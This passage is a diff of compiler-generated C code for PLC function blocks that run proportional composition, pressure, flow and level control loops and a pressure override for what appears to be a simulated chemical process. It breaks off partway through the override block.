+ + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + 